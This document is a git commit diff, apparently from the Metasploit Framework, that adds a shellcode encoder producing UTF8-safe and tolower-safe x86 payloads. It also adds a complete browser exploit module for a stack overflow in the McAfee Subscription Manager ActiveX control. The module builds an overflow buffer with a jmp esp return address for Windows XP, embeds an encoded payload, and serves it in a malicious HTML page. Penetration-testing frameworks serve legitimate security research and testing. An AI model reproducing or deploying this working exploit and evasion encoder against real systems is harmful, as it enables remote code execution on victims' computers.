added mcafee mcsubmgr exploit, added functional avoid utf8 encoder
git-svn-id: file:///home/svn/framework3/trunk@3830 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
3682e30261
commit
a724d42aa0
|
@ -94,6 +94,10 @@ class Encoder < Module
|
|||
# tolower safe ascii - not 'A' - 'Z' (more flexable than nonalpha)
|
||||
#
|
||||
NonUpper = "non_upper"
|
||||
#
|
||||
# tolower safe ascii UTF8-safe (<= 0x7f only)
|
||||
#
|
||||
NonUpperUtf8Safe = "non_upper_utf8_safe"
|
||||
#
|
||||
# All characters
|
||||
#
|
||||
|
@ -425,7 +429,7 @@ protected
|
|||
#
|
||||
# Returns the list of bad keys associated with this encoder.
|
||||
#
|
||||
def find_bad_keys
|
||||
def find_bad_keys(buf, badchars)
|
||||
return [ {}, {}, {}, {} ]
|
||||
end
|
||||
|
||||
|
|
|
@ -33,6 +33,7 @@ module Text
|
|||
Numerals = "0123456789"
|
||||
Alpha = UpperAlpha + LowerAlpha
|
||||
AlphaNumeric = Alpha + Numerals
|
||||
HighAscii = (0x80 .. 0xff).map { |b| [b].pack('C') }.to_s
|
||||
DefaultWrap = 60
|
||||
AllChars =
|
||||
"\xff\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c" +
|
||||
|
@ -466,6 +467,11 @@ module Text
|
|||
#
|
||||
##
|
||||
|
||||
# Generates a random character.
|
||||
def self.rand_char(bad, chars = AllChars)
|
||||
rand_text(1, bad, chars)
|
||||
end
|
||||
|
||||
# Base text generator method
|
||||
def self.rand_base(len, bad, *foo)
|
||||
# Remove restricted characters
|
||||
|
|
|
@ -0,0 +1,241 @@
|
|||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
module Encoders
|
||||
module X86
|
||||
|
||||
#
|
||||
# This encoder is pretty lame. It has a huge size overhead. Alas, it
|
||||
# does produce tolower safe and UTF8 safe payloads. The decoder itself is
|
||||
# split into three distinct chunks. The first chunk is the header, the second
|
||||
# chunk is the inline-decoding, and the third chunk is where the decoded data
|
||||
# is persisted. Unlike most encoders, this encoder does not use any branch
|
||||
# instructions and instead runs into the decoded data after it completes due
|
||||
# to the fact that it is decoding inline.
|
||||
#
|
||||
# The basic approach taken to implement the encoder is this. First, the
|
||||
# decoder header assumes that a register (ecx) points to the first byte
|
||||
# in the decoder stub. It then proceeds to calculate the offset to the
|
||||
# third chunk of the decoder (the persisted data) and updates the context
|
||||
# register (ecx) to point to the first byte of the third chunk of the decoder
|
||||
# stub. Following that, the second chunk of the decoder begins executing
|
||||
# which uses a series of add or subtract operations on the third chunk of the
|
||||
# decoder to produce the actual opcodes of the encoded payload. For each four
|
||||
# bytes of encoded data, a sub or add instruction is used in combination with
|
||||
# complementary information stored in the third chunk of the decoder.
|
||||
#
|
||||
# For example, in order to produce 0x01fdfeff one could do the following:
|
||||
#
|
||||
# 0x5e096f7c
|
||||
# - 0x5c0b707d
|
||||
# ------------
|
||||
# 0x01fdfeff
|
||||
#
|
||||
# After all of the inline decoding operations complete, the payload should
|
||||
# simply fall through into the now-decoded payload that was stored in the
|
||||
# third chunk of the decoder.
|
||||
#
|
||||
# The following is an example encoding of:
|
||||
#
|
||||
# "\xcc\x41\xcc\x41\xcc\x41\xcc\x41\xff\xfe\xfd\x01\xff\x02\x82\x4c"
|
||||
#
|
||||
# 00000000 6A04 push byte +0x4
|
||||
# 00000002 6B3C240B imul edi,[esp],byte +0xb
|
||||
# 00000006 60 pusha
|
||||
# 00000007 030C24 add ecx,[esp]
|
||||
# 0000000A 6A11 push byte +0x11
|
||||
# 0000000C 030C24 add ecx,[esp]
|
||||
# 0000000F 6A04 push byte +0x4
|
||||
# 00000011 68640F5F31 push dword 0x315f0f64
|
||||
# 00000016 5F pop edi
|
||||
# 00000017 0139 add [ecx],edi
|
||||
# 00000019 030C24 add ecx,[esp]
|
||||
# 0000001C 6870326B32 push dword 0x326b3270
|
||||
# 00000021 5F pop edi
|
||||
# 00000022 0139 add [ecx],edi
|
||||
# 00000024 030C24 add ecx,[esp]
|
||||
# 00000027 687D700B5C push dword 0x5c0b707d
|
||||
# 0000002C 5F pop edi
|
||||
# 0000002D 2939 sub [ecx],edi
|
||||
# 0000002F 030C24 add ecx,[esp]
|
||||
# 00000032 6804317F32 push dword 0x327f3104
|
||||
# 00000037 5F pop edi
|
||||
# 00000038 2939 sub [ecx],edi
|
||||
# 0000003A 030C24 add ecx,[esp]
|
||||
# 0000003D 68326D105C push dword 0x5c106d32
|
||||
# 00000042 0F610F punpcklwd mm1,[edi]
|
||||
# 00000045 7C6F jl 0xb6
|
||||
# 00000047 095E03 or [esi+0x3],ebx
|
||||
# 0000004A 3401 xor al,0x1
|
||||
# 0000004C 7F db 0x7F
|
||||
#
|
||||
class AvoidUtf8 < Msf::Encoder
|
||||
|
||||
# Assign this encoder an average ranking because it should not
|
||||
# be used preferably, but it should be used more preferably than
|
||||
# low ranking encoders, like alpha.
|
||||
Rank = AverageRanking
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Avoid UTF8/tolower',
|
||||
'Version' => '$Revision: 3425 $',
|
||||
'Description' => 'UTF8 Safe, tolower Safe Encoder',
|
||||
'Author' => 'skape',
|
||||
'Arch' => ARCH_X86,
|
||||
'License' => MSF_LICENSE,
|
||||
'EncoderType' => Msf::Encoder::Type::NonUpperUtf8Safe,
|
||||
'Decoder' =>
|
||||
{
|
||||
'KeySize' => 4,
|
||||
'BlockSize' => 4,
|
||||
})
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the decoder stub that is adjusted for the size of
|
||||
# the buffer being encoded
|
||||
#
|
||||
def decoder_stub(state)
|
||||
len = ((state.buf.length + 3) & (~0x3)) / 4
|
||||
|
||||
# Grab the number of additional bytes that we need to adjust by in order
|
||||
# to get the context register to point immediately after the stub header
|
||||
off = (datastore['BufferOffset'] || 0).to_i
|
||||
|
||||
decoder =
|
||||
"\x6a" + [len].pack('C') + # push len
|
||||
"\x6b\x3c\x24\x0b" + # imul 0xb
|
||||
"\x60" + # push edx
|
||||
"\x03\x0c\x24" + # add ecx, [esp]
|
||||
"\x6a" + [0x11+off].pack('C') + # push byte 0x11 + off
|
||||
"\x03\x0c\x24" + # add ecx, [esp]
|
||||
"\x6a\x04" # push byte 0x4
|
||||
|
||||
# encoded sled
|
||||
state.context = ''
|
||||
|
||||
return decoder
|
||||
end
|
||||
|
||||
def encode_block(state, block)
|
||||
buf = try_add(state, block)
|
||||
|
||||
if (buf.nil?)
|
||||
buf = try_sub(state, block)
|
||||
end
|
||||
|
||||
if (buf.nil?)
|
||||
raise BadcharError.new(state.encoded, 0, 0, 0)
|
||||
end
|
||||
|
||||
buf
|
||||
end
|
||||
|
||||
#
|
||||
# Appends the encoded context portion.
|
||||
#
|
||||
def encode_end(state)
|
||||
state.encoded += state.context
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the instructions that will be used to produce a valid
|
||||
# block after decoding using the sub instruction in conjunction with
|
||||
# two UTF8/tolower safe values.
|
||||
#
|
||||
def try_sub(state, block)
|
||||
buf = "\x68";
|
||||
vbuf = ''
|
||||
ctx = ''
|
||||
carry = 0
|
||||
|
||||
block.each_byte { |b|
|
||||
# It's impossible to reach 0x7f, 0x80, 0x81 with two subs
|
||||
# of a value that is < 0x80 without NULLs.
|
||||
return nil if (b == 0x80 or b == 0x81 or b == 0x7f)
|
||||
|
||||
x = 0
|
||||
y = 0
|
||||
attempts = 0
|
||||
prev_carry = carry
|
||||
|
||||
begin
|
||||
carry = prev_carry
|
||||
|
||||
if (b > 0x80)
|
||||
diff = 0x100 - b
|
||||
y = rand(0x80 - diff - 1).to_i + 1
|
||||
x = (0x100 - (b - y + carry))
|
||||
carry = 1
|
||||
else
|
||||
diff = 0x7f - b
|
||||
x = rand(diff - 1) + 1
|
||||
y = (b + x + carry) & 0xff
|
||||
carry = 0
|
||||
end
|
||||
|
||||
attempts += 1
|
||||
|
||||
# Lame.
|
||||
return nil if (attempts > 512)
|
||||
|
||||
end while (is_badchar(state, x) or is_badchar(state, y))
|
||||
|
||||
vbuf += [x].pack('C')
|
||||
ctx += [y].pack('C')
|
||||
}
|
||||
|
||||
buf += vbuf + "\x5f\x29\x39\x03\x0c\x24"
|
||||
|
||||
state.context += ctx
|
||||
|
||||
return buf
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Generate instructions that will be used to produce a valid block after
|
||||
# decoding using the add instruction in conjunction with two UTF8/tolower
|
||||
# safe values.
|
||||
#
|
||||
def try_add(state, block)
|
||||
buf = "\x68"
|
||||
vbuf = ''
|
||||
ctx = ''
|
||||
|
||||
block.each_byte { |b|
|
||||
# It's impossible to produce 0xff and 0x01 using two non-NULL,
|
||||
# tolower safe, and UTF8 safe values.
|
||||
return nil if (b == 0xff or b == 0x01)
|
||||
|
||||
attempts = 0
|
||||
|
||||
begin
|
||||
xv = rand(b - 1) + 1
|
||||
|
||||
attempts += 1
|
||||
|
||||
# Lame.
|
||||
return nil if (attempts > 512)
|
||||
|
||||
end while (is_badchar(state, xv) or is_badchar(state, b - xv))
|
||||
|
||||
vbuf += [xv].pack('C')
|
||||
ctx += [b - xv].pack('C')
|
||||
}
|
||||
|
||||
buf += vbuf + "\x5f\x01\x39\x03\x0c\x24"
|
||||
|
||||
state.context += ctx
|
||||
|
||||
return buf
|
||||
end
|
||||
|
||||
def is_badchar(state, val)
|
||||
((val >= 0x41 and val <= 0x5a) or val >= 0x80) or Rex::Text.badchar_index([val].pack('C'), state.badchars)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end end end
|
|
@ -0,0 +1,105 @@
|
|||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
class Exploits::Windows::Browser::McAfeeMcSubMgrVsprintf < Msf::Exploit::Remote
|
||||
|
||||
include Exploit::Remote::HttpServer::Html
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'McAfee Subscription Manager Stack Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a flaw in the McAfee Subscription Manager ActiveX control.
|
||||
Due to an unsafe use of vsprintf, it is possible to trigger a stack overflow by
|
||||
passing a large string to one of the COM-exposed routines, such as IsAppExpired.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'skape',
|
||||
],
|
||||
'Version' => '$Revision: 3783 $',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2006-August/048565.html' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1014,
|
||||
'MaxNops' => 0,
|
||||
'BadChars' => "\x00\x09\x0a\x0d'\\" + Rex::Text::UpperAlpha + Rex::Text::HighAscii,
|
||||
'EncoderType' => Msf::Encoder::Type::NonUpperUtf8Safe,
|
||||
'EncoderOptions' =>
|
||||
{
|
||||
'BufferOffset' => 0x8
|
||||
}
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
# Target 0: Automatic
|
||||
[
|
||||
'Windows XP SP0/SP1',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Rets' =>
|
||||
[
|
||||
0x7605122f, # XP SP0/SP1 shell32.dll: jmp esp
|
||||
#0x773f346a # XP SP2 comctl32.dll: jmp esp
|
||||
]
|
||||
},
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
# Re-generate the payload
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
# Pick the right target
|
||||
case request['User-Agent']
|
||||
when /Windows NT 5.1/
|
||||
ret = target['Rets'][0]
|
||||
else
|
||||
print_error("Unsupported target: #{request['User-Agent']}")
|
||||
cli.send_response(create_response(404, 'File not found'))
|
||||
return
|
||||
end
|
||||
|
||||
# Build out our overflow buffer
|
||||
buf =
|
||||
Rex::Text.rand_text(2972, payload_badchars) +
|
||||
[ ret ].pack('V') +
|
||||
"\x60" + # pusha
|
||||
"\x6a" + Rex::Text.rand_char(payload_badchars) + # push byte 0x1
|
||||
"\x6a" + Rex::Text.rand_char(payload_badchars) + # push byte 0x1
|
||||
"\x6a" + Rex::Text.rand_char(payload_badchars) + # push byte 0x1
|
||||
"\x61" + # popa
|
||||
p.encoded
|
||||
|
||||
# Generate random variable names
|
||||
vname = Rex::Text.rand_text_alpha(rand(100) + 1)
|
||||
strname = Rex::Text.rand_text_alpha(rand(100) + 1)
|
||||
|
||||
# Build out the message
|
||||
content =
|
||||
"<html>" +
|
||||
"<object classid='clsid:9BE8D7B2-329C-442A-A4AC-ABA9D7572602' id='#{vname}'></object>" +
|
||||
"<script language='javascript'>\n" +
|
||||
"var #{vname} = document.getElementById('#{vname}');\n" +
|
||||
"var #{strname} = new String('#{buf}');\n" +
|
||||
"#{vname}.IsAppExpired(#{strname}, #{strname}, #{strname});\n" +
|
||||
"</script>" +
|
||||
"</html>"
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response(cli, content)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue